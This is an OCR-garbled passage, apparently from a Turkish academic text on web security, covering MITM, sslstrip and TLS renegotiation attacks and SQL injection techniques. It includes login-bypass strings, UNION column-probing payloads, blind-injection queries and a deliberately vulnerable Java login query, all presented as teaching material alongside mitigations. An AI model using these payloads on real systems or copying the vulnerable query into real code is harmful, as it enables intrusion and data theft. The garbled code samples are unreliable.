SSL’in kars1 karsiya kaldigi ilk ve onemli saldirt tipi MITM (Man in The middle)
saldirilaridir [17].

Orjinal Baglanti

Sunucu

Saldirgan Baglantili

Saldirgan

Sekil 3.20 : MITM saldirisi

MITM saldirist ile saldirgan kendisini istemci ve sunucu arasindaki trafigin kendi
lizerinden geg¢mesini saglayarak biitiin iletisimi kontrol etmeyi hedefler [17].
Saldirgan, kurban olan istemciye sunucu gibi davranirken, Sunucu’ya ise normal bir
kullanic1 gibi davranir. SSL’ de araya girme saldirilarimin basarili olmama

sebeplerinden biri de, araya giren saldirganin iirettigi sahte sertifikayr bir sekilde
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kurbana kabul ettirmesi gerekliligidir. Saldirgan sahte sertifika ile trafigi dinlemeye
basladiginda onayli bir sertifika olmadig1 i¢in kurban tarayici tarafindan uyart ile

karsilasir ve trafigi dinlemesi engellenir.

SSL’in sertifikalar yoluyla gergeklestirdigi kimlik denetiminin MITM saldirilarina
engel oldugu disiiniiliiyordu. Fakat 2002 yilinda ilk defa bir¢ok tarayici
uygulamasinin  bir sertifikanin  CA  sertifikas1 olup olmadigim1  gosteren
BasicConstraints: CA uzantisin1 kontrol etmedigi tespit edildi [18]. Bu yetersiz
kontrol sonucu sayesinde istenilen bir domain igin gecerli bir sertifika olusturulabilir.
Birgok kullanict da bunun farkina varmadan gelen uyariy1 kabul edip islemlerine

devam edebilir.

This Connection is Untrusted

—
s
AI You have asked Firefox to connect securely to
172.16.254.20, but we can't confirm that your connection is
secure,

Normally, when you try to connect securely, sites will present

trusted identification to prove that you are going to the
right place. However, this site’s identity can't be verified.

What Should I Do?

If you usually connect to this site without problems, this
error could mean that someone is trying to impersonate the
site, and you shouldn’'t continue,

Get me out of here!

Technical Details

I Understand the Risks

Sekil 3.21 : Giivensiz baglant1 bilgisi
3.5.2.1 Zafiyetin istismari

2009 yilinda HTTPS trafigini HTTP’ye yoOnlendirmek suretiyle MITM saldirisi
yapmay1 saglayan sslstrip uygulamasi yayinlandi. Bu arag, her iki protokoliin birlikte
desteklendigi sistemlerde ortaya c¢ikan giivenlik zafiyetini kullanarak aradaki trafigi

dinlemek ve degisiklik yapmak icin gelistirilen bir aragtir.
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(1) Saldirgan -
araC”tl)QI_Ylm I?urulan . - (2) Saldirgan SSL oturum baglantisini
aglant. ite i
g ‘ po amaglanan site ile kuruyor.
. Piee—5N

| % =) s %

- E (3) Website SSL sertifkiasi
ile cevap doner.

avm.com

Son kullanici

Ggvenilir Public CA
tarafindan verilen
sertifika.

Sekil 3.22 : SSL zafiyetinin istismar1

Kurban her iki protokoliin de desteklendigi herhangi bir uygulamaya oncelikle HTTP
tizerinden giris yapar. Bu durumda araya giren saldirgan SSL Strip araci ile kurbanin
yapmis oldugu istek icerisinde bulunan HTTPS baglantilarin1i HTTP ye cevirerek
kurban ile arasinda HTTP trafigi baglatir. Ayn1 zamanda kurbanin yapmis oldugu
istegi de sunucu ile kendisi arasinda HTTPS kurarak baglatir. Bu asamada kullanici
bir istekte bulundugunda saldirgana HTTP ile baglanir ve saldirgan yapilan bu
istegin igerisindeki degisiklikleri algilayarak sunucuya yonlendirir. Saldirgana gelen

sunucu cevabi da kurbana HTTP ye gevrilerek yonlendirilir [6].
Alinacak Onlemler;

1. Kullanici kritik bir uygulamaya giris yaparken URL iizerinden gidilen adresin
HTTPS oldugundan emin olmalidir [6]. Genellikle bankalar, internet
bankacilig1 uygulamalarindan bu tiir saldirilara 6nlem olmak amacglhh HTTP
destegi vermezler. Asagidaki resimde goriildigii gibi kritik uygulamaya
HTTP {izerinden erisilmek istendiginde sayfaya erisimin olmadig: ile ilgili

404 veya 403 hata sayfas1 gosterilmektedir:
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& X I(D isube.garanti.com.tr/isube/log -‘I:‘;;\‘.::wassm:-:le-*t ypersonal-tr

[

Bu siteye ulagilamiyor
isube.garanti.com.tr ana makinesinin yanit vermesi ¢ok uzun strd.

o http://garanti.com.tr/ adresine git
» (oogle'da isube garanti tr login passwordentrypersonal aramasi yapin

Sekil 3.23 : SSL saldirisini 6nlemek

Bu sayede SSL Strip gibi saldirilara maruz kalinmasi engellenmis olur. Ayrica
tarayict bazli giivenlik 6nlemi almak i¢in her tarayiciya 6zel noScript uzantisi

kullanilabilir. Bu sayede belirlenen sitelere HTTPS disinda erisim engellenebilir
[18].

3.5.2.2 Renegotiation saldirisi

SSL protokoli, renegotiation 6zelligi sayesinde el sikisma islemi gergeklestirdikten
sonra istendigi durumda el sikisma islemini tekrarlayarak sifreleme icin yeni gizli
anahtar kullanilmasimi desteklemektedir [6]. Renegotiation ozelligine bagli bir

giivenlik a¢i1gin1 gosteren senaryoyu asagidaki gibi gosterebiliriz:
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[} . 2

Kurban Saldirgan

Www.avm.com
1. Oturum

TLS Handshake ClientHello E} @ 2.0turum @

* TLS Handshake

@ GET ftransfer jsp?hesap=12345&tutar=750

v

Tekrar
Baglant)

1.0turum @
GET /hesap.jsp TLS Handshake ClientHello R

Cookie JSESSIONID=AF28E845aEyC81561aZ 4

o

ServerHello

-~

Sekil 3.24 : Renegotiation saldir senaryosu

Bu zafiyetin olusmasi i¢in ilk Once saldirganin bir MITM ortami olusturmasi

gerekmektedir. Bu resmi inceleyecek olursak [6];
1. Adimda kurban ger¢ek sunucu ile bir TLS- handshake iglemi baglatir.

2. Adimda saldirgan kullanicidan gelen istegi durdurur ve handshake paketlerini

daha sonra sunucuya gondermek icin kaydeder (7. adim).

3. Adimda saldirgan, sunucu ile TLS-handshake islemi baslatir ve sonlandirir.

Bu sayede saldirgan ile sunucu arasinda giivenli bir iletisim kurulmus olur.

4. Adimda saldirgan sunucuya HTTP {izerinden asagidaki gibi bir istekte

bulunmaktadir:
GET/transfer.jsp?hesap=150
ABC:

Fakat GET isteginin sonlanmasi i¢in gerekli olan son CRLF karakteri génderilmez.
Bu sayede ilgili istek sunucuda son CRLF gelene kadar bekletilmis olur (genellikle
bir dakika).

5. Sunucu kendisine gelen istegin giivensiz kanal {izerinden geldigini goriir ve

sertifika ile kimlik dogrulama islemine tabi tutar. Bunun i¢in renegotiation baglatir.
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6. Sunucuda baglayan renegotiation sayesinde saldirgana ServerHello istegi

gelir.

7. Saldirgan kendisine gelen ServerHello iste§ine karsilik, kurbandan daha
once gelen ve beklettigi ClientHello mesajin1 doner. Dolayisiyla kurban ve sunucu

arasinda giivenli iletisim kanali kurulmus olur.

8. Kurban uygulamaya HTTP (zerinden asagidaki gibi bir istekte bulunmaktadir:
GET/ hesap.jsp
Cookie: JSESSIONID=AF28E845aEyC81561aZ

Sunucu 4. adimda kendisine gonderilen ve bekletilen istek i¢in hala CRLF karakteri

bekledigi i¢in gelen istegi bir dnceki istegin arkasina ekler.
GET/transfer.jsp? hesap =150

GET / hesap.jsp

Cookie: JSESSIONID=AF28E845aEyC81561aZ

Son istekte goriildiigii tizere ABC kismu olan satir1 sunucu dikkate almayacak ve 1.
satirdaki saldirganin istegi ile 3. satirdaki kurbanin gegerli Cookie bilgisi
birlestirilecektir. Dolayisiyla basarili  bir saldirt  gergeklestirilmis olacaktir.
Renegotiation’a engel olmak i¢in ya sunucu tarafindaki SSL ayarlarinda istemci’den
gelen renegotiation istekleri reddedilmeli ya da IETF tarafindan yayinlanan yama
programin TLS tarafindan desteklendiginden emin olunmalidir. Zayif SSL siiriimleri
kapatilmalidir. Sunucunun renegotiation’1 destekleyip desteklemedigini test etmek

icin OpenSSL araci kullanilabilir [18].

Son olarak SSL giivenligini test etmek i¢in;
1. Zayif algoritmalar kapatilmali;
2. TLS’in gincel siiriimleri kullanilmali;

3. Dijital sertifikanin durumu kontrol edilmelidir.
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3.5.3 SQL saldirilar:

Web uygulamalart pek ¢ok teknoloji katmanindan ve entegre calisan pek cok
sistemden olusmaktadir. Dolayisiyla farkli katmanlarda ve farkli iletisim
asamalarinda farkli yazilim dillerine yonelik enjeksiyon agiklari bulunmaktadir. Ama
asil onemli olan agik, kullanici tarafindan girilen verilerin yetersiz kontroliidiir. SQL
tim dillerde ortak kullanilan bir dil oldugundan dolayr SQL ile islem yapan
uygulamalarda a¢ik bulunma olasigi yiiksektir. Injection saldirilari, web
uygulamalarindai en ciddi ve tehlikeli agiklarin basinda gelmektedir. Injection
veritabani ve dilden bagimsiz olarak her tirli uygulama-veritabani iliskisine sahip
sistemde bulunabilir ve bu agik veritabam veya sunucu acig1 degildir. Uygulama
dinamikleri icerisinde ki hatali kodlama, zararli karakterlerin filtrelenmemesi,
degiskenlerin yanlis atanmasi gibi  hatalar uygulama zafiyeti olarak nitelendirilir.
SQL yorumlanabilir bir dil oldugundan dolay1 uygulama’lar tarafindan olusturulan
SQL ifadelerini ¢alistirabilmekte ve yorumlayabilmektedir. Eger bu islem giivensiz
bir yol ile yapilirsa, uygulama SQL Enjeksiyonuna kars1 savunmasiz duruma
gelecektir. Bagarili bir injection saldiris1 sayesinde veritabani igerisindeki,
kullanicilarin kredi karti bilgileri, kullanict hesaplari, kisisel bilgileri vb. gibi 6nemli
bilgilere ulasilabilir, bu bilgiler iizerinde istenilen degisiklik yapilabilir ve hatta

veritabani’nin iizerinde ¢alistig1 sunucu kontrol altina alinabilir.

3.5.3.1 SQL injection

Kullanicidan (istemciden — client) alinan datalarin higbir denetlemeden ge¢gmeden
izinsiz olarak arka tarafda SQL sorgusuna manipule edilip amaca hizmet edecek
sekilde uygulamada kullanilarak ciktilar iiretmesini saglayan zafiyet tiirtidiir. TOP

10 listesindeki en riskli giivenlik agigidir [20].
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INJECTION
PARAMETRELER ICEREN SQL

SALDIRGAN

b
o
“m | on

WEB SAYFASI VE SQL CEVABI
INJECTION IGEREN
saL

Sekil 3.25 : SQL enjeksiyon senaryosu

Web uygulamalarinda bir ¢ok islem i¢in kullanicidan alinan veri ile dinamik SQL
sorgular1 olusturulur. Mesela “SELECT * FROM Products” érnek SQL sorgusu basit
sekilde veritabanindan web uygulamasina tiim iirlinleri dondiirecektir. Bu SQL
ciimlecikleri olusturulurken araya sikistirilan herhangi bir meta-karakter SQL
Injection’ a neden olabilir. Meta-karakter, bir program icin 6zel anlami olan
karakterlere verilen isimdir. Ornegin; (\) backslash karakteri bir meta-karakterdir.
Compiler (derleyici) ya da Interpreter (yorumlayici) bu karakteri gériince ondan
sonraki karakteri ona gore isler. SQL’ i¢in kritik metakarakter (*) tek tirnak’ tir.
Digeri ise (;) noktali virgiildiir. SQL Enjeksiyonu i¢in olan ilk testlerde tek tirnak (“)
veya noktali virgll (;) kullanilmaktadir. Tekli tirnak SQL sorgusunda string
sonlandiricist olarak kullanilir ve eger uygulama tarafindan filtrelenmiyorsa gecersiz
bir sorgu ile sonuglanabilir. Noktal1 virgiil ise SQL sorgusunun sonlandirilmasinda
kullanilir ve eger filtrelenmemis ise bu da bir hata mesaji donderecektir. (Unclosed
quotation mark before the character string ". gibi) [20] Bundan baska kendinden
sonra gelenlerin galistirilmamasi i¢in — karakteri ve AND ve OR gibi kelimeler de

sorguyu degistirmekde kullanilmaktadir.

e Dinamik SQL sorgusu:
String query = “SELECT * FROM TABLE where ID=""+id+“";”

e Statik SQL sorgusu:
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SELECT * FROM TABLE where ID = “100’;
e Injection iceren SQL sorgusu:

SELECT * FROM TABLE_1 where ID_1 = ‘100" UNION SELECT *
FROM TABLE_ 2 WHERE ID 2 ="1";
Web uygulamasinda olasi bir iiye girisi islemleri asagidaki gibidir;

1. Formdan gelen kullanici adi ve sifre bilgisi ile ilgili SQL cilimlecigi
olusturulur.
SELECT * FROM TABLE WHERE username="admin’ AND
password="1234’

2. SQL ciimlecigi kayit dondiirliyorsa boyle bir kullanicinin var oldugu
anlamina gelir ve session(oturum) acilir, ilgili kullanici liye girisi yapmis

olur.

3. Eger veritabanindan kayit donmediyse "kullanici bulunamadi" veya "“sifre

yvanlig" gibi bir hata ile ziyaretci tekrar iiye girisi formuna gonderilir.
Ornek bir iiye girisi kodu;
Asagidaki url ile example.com adresine test/123456 kullanicisi ile liye girisi yapmak
istedigimizi belirtelim.

http://www.example.com/login.jsp?username=test&password=123456

Java/JSP ile yazilmis 6rnek bir tiye girisi kodu:
1. String username = request.getParameter (“username”);
2. String password = request.getParameter (“password”);

3. String query = “SELECT * FROM members WHERE username = * ” +
Username + bl AND password = £ + password + [T }] ;

4. ResultSet rs = stmt.execute (query);

5. if (userExist '= null ){

6. request.getSession().setAttribute(""username”, username);
7. response.setStatus(200);
8. response.sendRedirect("index.jsp™);
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http://www.okul.com/login.jsp?username=hale&password=123456
http://www.okul.com/login.jsp?username=hale&password=123456
http://www.okul.com/login.jsp?username=hale&password=123456
http://www.okul.com/login.jsp?username=hale&password=123456
http://www.okul.com/login.jsp?username=hale&password=123456

9. Jelse{

10.

request.getRequestDispatcher("login_error.jsp™).forward(request,response);
11.}
1. ve 2. satirda form degiskenlerinin degerleri aliniyor.
3. satirda sql climlecigi igerisine yerlestirilip kullanici kontrolu yapiliyor.

5. satirda sonucun bos olup olmadigina bakiliyor. Eger bos ise, yani kullanici
veritabaninda bulunmadiysa, 10. satirda gosterildigi gibi kullanici login_error.jsp
sayfasina yonlendiriliyor. Eger bulunduysa, 6.7.8. satirdaki islemler yapiliyor. Yani,
kullanictya username igeren bir session agiliyor ve bu sayede kullanict index.jsp

sayfasina girig yapmis oluyor.
Bu istegin veritabani sunucusundaki ¢alistirilma sekli asagidaki gibidir:
SELECT * FROM TABLE WHERE username =" test ' AND password ="' 123456"

Klasik bir iiye giris islemi yukarida belirtildigi gibidir. Saldirgan, uygulama
yOneticisinin username bilgisine sahip ise (bu O0rnekde administrator’un kullanici
adinin “admin” oldugunu varsayalim) o zaman sifre kismini1 bypass edebilir. Saldiran
kullanic1 adi olarak admin ' -- girdiginde sql sorgusu Gzerinde bir injection
gerceklestirmis olur. ' -- ifadesi bir injection ifadesi olup, kendisinden sonra gelen sql
ifadelerini yorum climleciklerine ¢evirir. Bu sayede sorguda bulunmasi gereken sifre

kontrolii bypass edilmis olur ve sisteme sifresiz bir bigimde giris yapilmis olur.
Kullanici degerleri ile olusan SQL sorgusu;

SELECT * FROM TABLE WHERE username = ' admin ' -- ‘AND password = " " +

password + " “;"
Veritabani lizerinde calisacak olan SQL sorgusu;
SELECT * FROM TABLE WHERE username ="admin '

Simdi ise saldirganin kullanici adi bilgisine sahip olmadigimi varsayalim. Genel
olarak uygulamalarda, veritabani iizerindeki ilk kullanic1 hesab1 uygulamay1 yonetme
yetkisine sahip olan kullanicinin olmalidir, ¢iinkii bu hesap normal olarak elle
olusturulur ve sonra bu hesap lizerinden uygulama araciligiyla diger tiim hesaplar

olusturulur.
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Saldirgan sik sik bu davranigsdan yararlanarak kullanic1 adi araciligiyla veritabani
tizerindeki ilk kullanict hesabiyla login olmaya c¢alismaktadir. Bir 06nceki
ornegimizde yer alan injection ifadesine benzer olarak asagidaki injection ifadesi
girilir;

“or1=1

http://www.example.com/login.jsp?username=test’ OR “‘1’="1--&password=123456

Bu istek agagidaki bi¢cimde SQL sorgusuna doniisecektir.

SELECT * FROM TABLE WHERE username = ‘test* or 1 = 1 --" AND password ="'
123456’

Bu istegin veritabaninda ¢alisma sekli;
SELECT * FROM TABLE WHERE username = “test* or 1=1

Iigili sorgu kullanici adini bulamasa bile OR baglact kullanildigindan ve 1=1
herzaman TRUE oldugundan uygulama tiim kullanicilarinin ayrintilarin1 dondiirtiyor
olacaktir. Herhangi bir siteye giris yapildiginda login islemi gerceklestirildikten
sonra kullanictya bir COOKIE verilir ve oturum baglar. Oturum bilgisine eklenen
datalar veritabanindan gelen bilgiler olabilmektedir. Bu durumda veritabanindan

birden fazla kullanici donecegi i¢in sistemler farkli sekilde calisabilirler.

Bu durumda LIMIT komutunu kullanarak tablodaki kullanicilar1 siirlandirip bir

tanesini getirebiliriz.

SELECT * FROM TABLE WHERE username ="'" + username 'or ‘1’ = ‘1 + " ' AND

password ="" + password ' or ‘1’ = “1--> + " LIMIT 0,1;"

Tablodaki ilk kayit admin kullanicisina ait oldugu icin sisteme admin olarak giris

yapmis olacagiz.
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String parametrelere enjeksiyon

SQL sorgularinda string ifadeler bildigimiz gibi tek tirnak igine yerlestirilir. Boyle
bir alana enjeksiyon yapabilmek icin bu tek tirnagin kapatilmasi ve ek kodlarin

enjekte edilmesi gerekmektedir. Burada agsagidaki adimlar uygulanabilir;

1. HTML formlarina, URL parametrelerine kullanici girdisi olarak tek tirnak
girilip uygulamanin detayli hata mesaji verip vermedigi veya normal
davranigindan farkli bir bicimde davranip davranmadigina bakilir. Bu sayede
calisan uygulama igerisinde SQL injection’a kars1 herhangi bir énlemin olup
olmadig1 hakkinda bilgi sahibi olunur [21].

2. Eger hata veya farkli bir davranisla karsilasilmigssa o zaman 2 tek tirnak
gonderilir. 2 tek tirnak veritabanlar1 tarafindan escape karakteri olarak
kullanilip tirnak karakterini ger¢ek anlamiyla anlamasi i¢in kullanilir. Bu
durumda hatali durum ortadan kalkiyorsa web uygulamasi biiyiik ihtimalle

SQL Enjeksiyonuna agiktir diyebiliriz [20].

3. Aciklig1 dogrulamak icin ek olarak string birlestirme karakterleri yapilarak
gecerli bir girdi verisi olusturulur. Eger uygulama bu duruma normal girilen
veride oldugu gibi cevap veriyorsa o zaman bu uygulama SQL

Enjeksiyonuna agiktir diyebiliriz [18]. Bu duruma 6rnek olarak;
Oracle: *|ABC
MS-SQL: ‘+’ABC
MySQL: ¢ ¢ ABC (iki tek tirnak isareti arasinda bosluk karakteri bulunmaktadir)

Birlestirme karakterleri, HTTP protokolunde kullanilirken URL’de encode

edilmelidir. Yani,

1. Parametre ad1 ve degeri ¢iftini olusturmak i¢in kullanilan & ve = karakterleri
URL’de sorgu metnini olustururken sirasiyla %26 ve %3d olarak encode

edilmelidir.

2. Sorgu metinleri icerisinde bosluk karakteri kullanilamaz. Eger kullanilirsa,
HTTP sorgu metni o anda sonlandirilir. O ylizden de bosluk karakteri %20

veya + olarak encode edilmelidir.
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3.

4.

+ karakteri bogluk kodlama amaciyla kulanildiginda gergekten + isaretinin
sorgu icinde kullanilmasi i¢in %2b seklinde encode edilmesi gerekmektedir.

Noktali virgiil, cookiler’t ayirmak i¢in kullamildigindan %3b olarak
kodlanmalidir.

Numeric parametrelere enjeksiyon

Kullanicinin girdigi veri numeric olsa bile uygulama bu veriyi string olarak ele aliyor

olabilir. Baz1 durumlarda da numeric veri veritabanina numeric olarak génderilir ve

tek tirnak i¢ine alinmaz. Bu nedenle dnceki adimlar bir sonug liretmiyorsa, asagidaki

adimlar ele alinmalidir:

1.

Girdi olarak numeric degere esit olan aritmetik islem girilir. Ornegin, 5
girilen bir alana 3 + 2 girilir. Eger uygulama 5 degeri i¢in verdigi yaniti

veriyorsa, zafiyet barindirabilir [21].

Bir 6nceki adimdaki testin agikliga isaret olabilmesi icin degistirilen verinin
uygulama davramsi iizerinde Onemli bir etkisi olmasi gerekir. Ornegin;
Degistirilen deger numeric bir kullanici id bilgisine ait ise dogru veya yanlig
birsey ifade etmesi uygulama agisindan Onemlidir. Ama degistirilen veri
yerine tamamen rastgele bir deger de girilmesi ile sonu¢ degismiyorsa

injection ag1g1 var diyebilmek i¢in ilk adim yetersiz kalacaktir [18].

Ikinci adimda ifade edildigi gibi uygulama iizerinde herhangi bir etki
gerceklesti ise daha komplike SQL ifadeleri ile ek kanit aranabilir. Buna
ornek olarak ASCII fonksiyonu verilebilir. Ornegin ‘F* karakterinin ASCII
degeri 70 oldugundan 5 degerine ulasmak icin su ifade test edilebilir: 75 —
ASCII(*F’) [19]

Yukaridaki test tek tirnaklarin uygulama veya ara bir katman kontrolleri
tarafindan temizlenmesi durumunda ¢alismayacaktir. Bu asamada veritabani
sistemlerinin aslinda implicit olarak numerik veriyi string’e g¢evirdikleri
gerceginden yola ¢ikarak numerik bir degerin karakter olarak ASCII degerini
kullanabiliriz. Ornegin ‘1’ karakterinin ASCII degeri 49 oldugundan su ifade
2 ile sonuglanacaktir: 51-ASCII (1) [19]

Numeric paratmetrelerde, String parametreler de oldugu gibi URL encoding’e
dikkat edilmelidir. Ozel karekterler sunucuya HTTP iizerinden encode

edilerek gonderilmelidir [20].
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SQL saldir: zafiyet cesitleri

Zafiyetin tespiti diger zafiyetlerde oldugu gibi yapilan istege karsi sunucudan alinan
cevabin analiziyle miimkiin olmaktadir. Bu sonuglarin farkliliklarima gore de SQL

enjeksiyonu zafiyet ¢esitleri bir birinden ayrilmaktadir [3]:
1. Basit SQL Enjeksiyonu
2. Union Tabanl (Based) SQL Enjeksiyonu
3. Kor Tabanl (Blind Based) SQL Enjeksiyonu
4. Zaman Tabanl (Time Based) SQL Enjeksiyonu
5. Hata Tabanli (Error Based) SQL Enjeksiyonu

Basit SQL enjeksiyonu

Yaygin olarak bilinen bir senaryo iizerinden agiklayalim;

http://www.example.com/index.jsp?id=1 AND 1=1

SELECT * FROM TABLEWHERE ID =“*“+id +“” *“ AND 1=1”"

http://www.example.com/index.jsp?id=1 AND 1=0

SELECT * FROM TABLE WHERE ID = * “ +id + “* “ AND 1=0"

Ik sorguya baktigimizda AND yapisina gelmeden onceki kisimin dogru calistigini
goririiz. AND mantiksal ifadesini kullanmaktaki amacimiz string olarak veritabanina
gonderdigimiz mantiksal ifadenin veritabani tarafindan islenip islenmedigini
gormektir. Veritabani AND 1=1 sorgusuna TRUE yanitin1 donerken AND 1=0
kismina FALSE yanitin1 donecektir. Bu iki sorgu i¢in tarayicidan dénen cevap farkl

ise potansiyel bir SQL Injection zafiyetinin mevcut oldugunu soyleye biliriz.

Union tabanh SQL enjeksiyonu

Union bazli SQL Enjeksiyonunda yapilacak testlerden biri Union islemi ile orjinal

SQL sorgusuna bagka bir SQL sorgusu eklemektir.

Bu zaman eklenen sorgunun sonuglari Orijinal sorgunun sonuglarina eklenir ve

saldirganin diger tablodaki verilerin degerlerini alabilmesini saglar. [18]

SELECT * FROM TABLE_A UNION SELECT * FROM TABLE_B
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Yukaridaki sorguda verilen Union ifadesi sagindaki ve solundaki iki sorguyu ayri
ayr1 calistirip, her ikisinden dénen sonucu birlestirip tekil olan kayitlar1 ¢ekmek i¢in
kullanilir. Bu sayede saldirgan SQL ifadesini manipiile ederek uygulama’nin verisini

getirecegi tablo’ya ek olarak diger tablo’dan da verileri alabilecektir.

Union ALL ise DISTINCT komutu kullanimini agmak i¢in kullanilir. Yani kayitlart
tekil olmayacak sekilde listeler. Union bazli SQL enjeksiyonunda ¢ikt1 verilebilmesi
icin kullanilan iki tablodaki kolon sayilarmin ayni olmasi gerekmektedir. Kolon

sayilarinin bulunmasinda bize ORDER BY keyword’ii yardimci olacaktir [6].

Ornegin, tablonun 3 kolondan (ID, USERNAME, PASSWORD) ibaret oldugunu

varsayalim.

SELECT * FROM TABLE ORDER BY 1

yukaridaki sorgu ile ID kolonuna gore siralama yapabiliriz.

SELECT * FROM TABLE ORDER BY 3

PASSWORD kolonuna gore siralama yapabiliriz. Fakat eger asagidaki gibi bir sorgu
calistirirsak;

SELECT * FROM TABLE ORDER BY 4

O zaman hedef veritabani iizerinde mevcut 6rnek i¢in hata elde ediyor olacagiz. Bu
hata mesaj1 ¢esitli veritabanlar1 i¢in farklilik gosterecektir. Bu hata mesaji bize
kullanilan tablonun {i¢ kolondan olustugunu bildiriyor. Bu sayede UNION igin

kullanacagimiz ikinci tabloda maksimum ka¢ adet kolon kullanmamiz gerektigini

O0grenmis oluyoruz.
UNION Operatorii kullanarak bilgi toplama bize baz1 kisitlar vermektedir;

1. Iki select ciimlesinin yapisi ayni olmalidir. Yani, her iki SQL sorgusu ayni
sayida kolon sayisina sahip olmali ve bu kolonlarin veri tipi ayn1 ya da bir

biri ile uyumlu olmalidir [19].

2. Enjeksiyon yapmak icin ekledigimiz UNION sorgusunun anlamli sonuglar
dondiirebilmesi ic¢in veritabaninda bulunan tablo ve kolon isimlerinin
bilinmesi gerekmektedir. Koér SQL Enjeksiyonu yontemi 2. kisit i¢in
kullanilabilir [19].
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UNION operatorii kullanarak SQL Enjeksiyonu zafiyetini tespit ederken asagidaki
adimlar takip edilmelidir;

1. Oncelikle ilgili istekdeki SELECT ciimlesinde kolon sayis1 tespit edilmelidir.
Bunun i¢in NULL veya ORDER BY kullanilabilir. NULL herhangi veritipine
doniistiiriilebildiginden UNION tabanli enjeksiyonda kolon sayisini deneme
yaparak bulabiliriz. Sorgumuz hatasiz ¢alisirsa ve geriye NULL kelimesini
veya bos metin alanlart igeren ek bir satir donerse gerekli kolon sayisini

bulmus oluruz [3].
‘UNION SELECT NULL - -
‘UNION SELECT NULL, NULL - -

‘UNION SELECT NULL, NULL, NULL - -

ORDER BY operatorii de aynt NULL gibi deneme yapilarak kolon sayisinin
bulunmasinda kullanilir. Bu adimda da deneme hata mesaji alinana kadar devam
ettirilir. Kolon sayis1 asilmadig siirece farkli kolonlara gore siralanmais orijinal sorgu

sonuglar1 goriintiilenir.
‘ORDERBY 1--

‘ORDERBY 2 - -
‘ORDERBY 3 - -

2. Kolon sayisini bulduktan sonra sira istedigimiz bilgileri elde etmek i¢in metin
veri tipinde bir kolon tespit etmektir. Kolon sayisini bildigimiz i¢in birinci kolondan
baslayarak son kolona kadar her bir NULL’u °‘test’ veya baska karakter ile
degistirerek hata almadan ‘test’ metnini dondiiren kolon(lar) tespit etmektir. Metin

tipi iceren kolonlar veritabanindan elde edilecek bilgileri toplamak icin kullanilabilir
[23].

‘UNION SELECT ‘test’, NULL, NULL - -
‘UNION SELECT NULL, “test’, NULL - -

‘UNION SELECT NULL, NULL, ‘“test’ - -
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Tek bir metin tipinde kolon tespit edilse bile bu alan farkli bilgilerin birlestirilmesi
seklinde kullanilabilir. Ornegin, ORACLE’da farkli kolon bilgileri asagidaki gibi

ayni1 kolon altinda birlestirilebilir:
username||’:’||password

MS-SQL’de birlestirme islemi + (%2b olarak encode edilen) operatoriiyle
yapilmaktadir. Ornek olarak tespit ettigimiz metin tipli alanda veritabaninin

versiyonunu gosterebiliriz;
MS-SQL ve MySQL icin: ‘UNION SELECT @@version, NULL, NULL - -

Oracle igin: ‘UNION SELECT banner, NULL, NULL FROM v$version - -sorgulari
kullanilabilir. Oracle veritabaninda her SELECT cilimlesinin FROM 6zelligi
bulunmasi gerekir. Bu amagla tablo ismi olarak global olarak erigilebilen DUAL

tablosu kullanilabilir [18]. Ornegin:
‘UNION SELECT NULL FROM DUAL - -

Yukaridaki 6rnekte veritabani versiyon bilgisini 6grenmek kritik bir bilgi sayilabilir.
Ancak asil degerli bilgi 2. kisitta belirtmis oldugumuz tablo ve kolon isimlerinin

bulunmasidir.

Kor SQL enjeksiyonu

Gliniimiizdeki uygulamalarin ¢ogu hata mesajlarin1 ayrintili olarak gostermek yerine
Ozellestirilmis bir hata mesaji (500 server error) veya sayfasi dondiirmektedir [20].
Bu durumda hata mesajlarindan yola ¢ikilarak SQL enjeksiyonu zafiyetinin tespiti ve
istismar1 yontemleri yetersiz kalmaktadir. Tam da bu noktada Kér SQL Enjeksiyonu
teknikleri devreye giriyor. Koér SQL Enjeksiyonu, uygulamanin verdigi hata
mesajlarina  bakmak yerine zafiyet barindiran sayfalarin/servislerin yapilan
manipiilasyonlara verdigi cevaplarin dogru/yanhs (true/false) olmasi ile ilgilenir. O
yiizden normal SQL Injection saldirilarina gére daha zordur. Nedeni ise herhangi bir
SQL hatas1 veya sonucu dondiirmemesi ve sadece bir HTTP status dondiirmesidir.
Bu saldin tiiriinde islem sonuglari, uygulama gelistiricinin 6zel bir hata sayfasi
olusturmasi ile birlikte veritabani hakkinda bilgi goéstermemesi ile olugmaktadir.
Islem sonucu, dzel olarak olusturulmus HTTP status igeren hata sayfalar1 olacaktir

[21].
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Bu saldirt teknigi iyi bir veritabani bilgisi gerektiriyor. KOr SQL enjeksiyonunda

boolean deger donecek sorgular sunucuda calistirilir, cevaplart analiz edilip anlami

¢Oziliir.

SQL sunucularinda veritaban1 adimi ¢ekmek icin SELECT database ()

komutu kullanilmaktadir. ilgili komutu SQL Server iizerinde farkli yollarla ¢alistirip

sonuglarini inceleyelim:

Cizelge 3.2 : SQL enjeksiyon saldirilarinda kullanilan sorgular

Sorgu Cikt1 Yorum
SELECT db_name() hale Veritabani Ismi
SELECT SUBSTRING h Veritabani isminin ilk karakteri
((SELECT db_name ()),1,1)
SELECT ASCII (SUBSTRING 104 Veritabani isminin ilk

((SELECT db_name()),1,1))

karakterinin ASCII degeri

Blind SQL Injection

« Sunucu her deneme igin ayni hata mesaji uUretiyorsa.

= Uygulama SQL sorgusunun sonucunda herhangi bir bilgi gdéstermiyorsa.
« Kisaca, enjekte edilen sorgunun isleme alinip alinmadigi bilinmiyorsa

Birinci ASCII karekter 65'den kliglik mu?
/JHQYIF
Birinci ASCII karekter 96'dan kug:uk mui?

L Evet

Birinci ASCII karekter 80'den kug:uk md?  Uygulama
Evet Sunucusu

Saldirgan

Veritabani
Sunucusu

Sekil 3.26 : Kor SQL enjeksiyonu zafiyeti senaryosu
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Kér SQL Enjeksiyonu(Blind SQLI)

Boolean Based Bling SQL Injection

» SELECT name FROM products WHERE id=' i

SELECT name FROM products WHERE id=" '

SELECT name FROM products WHERE id=" '

SELECT name FROM products WHERE id=" y
SELECT name FROM products WHERE id=" :

Time Based Bling SQL Injection

+ SELECT name FROM products WHERE id=' !
« SELECT name FROM products WHERE id=' !

Sekil 3.27 : Boolean ve Time Based Kor SQL enjeksiyonu

BLIND SQL INJECTION

BINARY SEARCH TREE l
i 32 126
a 1 79 l
T T 79 126
(2 ) (50 ) 102
A A 5
e / AN 79— 102
e e A S 90
I;-zz-/‘l /(‘_:H_,j '}\_41-'..;' IL;\-H-';I
L e L 4 N 94
» - y TN PN i
(o) @ = & O

Sekil 3.28 : Kor sql enjeksionunda arama agaci

Hata tabanli SQL enjeksiyonu

